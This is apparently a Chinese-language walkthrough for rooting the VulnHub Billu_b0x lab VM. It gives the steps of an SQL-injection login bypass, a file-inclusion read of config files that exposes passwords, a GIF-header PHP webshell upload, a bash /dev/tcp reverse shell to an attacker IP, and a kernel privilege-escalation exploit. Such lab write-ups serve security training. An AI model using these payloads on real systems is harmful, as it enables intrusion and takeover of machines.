靶机信息
下载链接
https://download.vulnhub.com/billu/Billu_b0x.zip
靶机说明
虚拟机难度中等,使用ubuntu(32位),其他软件包有:PHP、apache、MySQL
目标
Boot to root:从Web应用程序进入虚拟机,并获得root权限。
运行环境
靶机:网络连接方式设置为nat,靶机自动获取IP。 攻击机:Windows10攻击机,kali攻击机,主要用Windows攻击机完成实验。
信息收集
目标发现
启动Billu_b0x虚拟机,由于虚机网络设置为net模式,使用Nmap扫描vm8网卡的NAT网段C段IP,命令:nmap -sP 192.168.0.1/24

成功得到靶机ip:192.168.0.147
端口和服务识别
扫描1-65535全端口,并做服务识别和深度扫描(加-A参数),扫描结果保存到txt文件
nmap -p1-65535 -A 192.168.0.147 -oN billu.txt

扫描发现开启了22(SSH OpenSSH 5.9p1)和80端口( HTTP Apache httpd 2.2.22)
访问80端口,有登录框可尝试万能密码(用户名:\ 密码: or 1=1 #)

dirb目录扫描

一个个访问
/in,这是一个phpinfo的界面,发现敏感信息:网站绝对路径/var/www

/add,一个文件上传界面,这里F12 看源码,发现只有前端,无后端交互源码,说明这里是一个摆设,无用。

/test,这里报错要我指定file,再结合之前phpinfo的敏感信息,说明这里有可能存在文件包含漏洞

/phpmy,没扫到但有,换个字典扫
dirb http://192.168.0.147 /usr/share/wordlists/dirb/big.txt


其他页面都是空白和无用信息
漏洞利用
思路一:文件包含查看配置文件,获取root密码
/test,存在文件读取漏洞
读取/etc/passwd

但无法读取/etc/shadow

扫描发现phpmy,以及phpinfo中发现的网站绝对路径,这里尝试读取phpmyadmin的默认配置文件config.inc.php
file=/var/www/phpmy/config.inc.php,成功读取,发现root用户密码为roottoor


成功
思路二:文件包含+文件上传获取shell
读取c.php,得到了连接mysqli的用户名和密码billu/b0x_billu


登录到了后台,找到index.php中登录框的用户名和密码biLLu/hEx_it

登录进来了,查看用户

在前端这里找到了图片上传的路径,并能成功访问


然后adduser那里是个文件上传

尝试上传一句话木马,发现为白名单过滤

上传一句话木马,文件头加GIF89a



/test,页面进行读取panel.php,ai分析代码(include($dir.'/'.$_POST['load']) 可能被利用加载恶意文件。)

根据上面发现的路径,的出上传的命令马的路径为/uploaded_images/1.jpg,利用上面的文件包含漏洞进行解析并成功执行命令
POST请求url中加入执行命令的参数:POST /panel.php?666=ls
POST的body中包含1.jpg图片马:load=/uploaded_images/yijuhua.jpg&continue=continue

文件解析了,可以使用蚁剑连接

这里除了添加url和连接密码外,还要添加请求信息


提权
下载Ubuntu著名的本地提权漏洞exp:https://www.exploit-db.com/exploits/37292/

下载完后用蚁剑上传至目标机可写目录uploaded_images

再上传一个h.png用于命令执行反弹shell



反弹shell
用bash反弹shellecho "bash -i >& /dev/tcp/192.168.0.129/4444 0>&1" | bash需要将命令url编码然后发送

反弹成功
对上传37292.c这个exp执行以下操作
赋予执行权限
chmod 777 37292.c
编译exp
gcc 37292.c -o exp
执行exp,提权至root
./exp

成功
浙公网安备 33010602011771号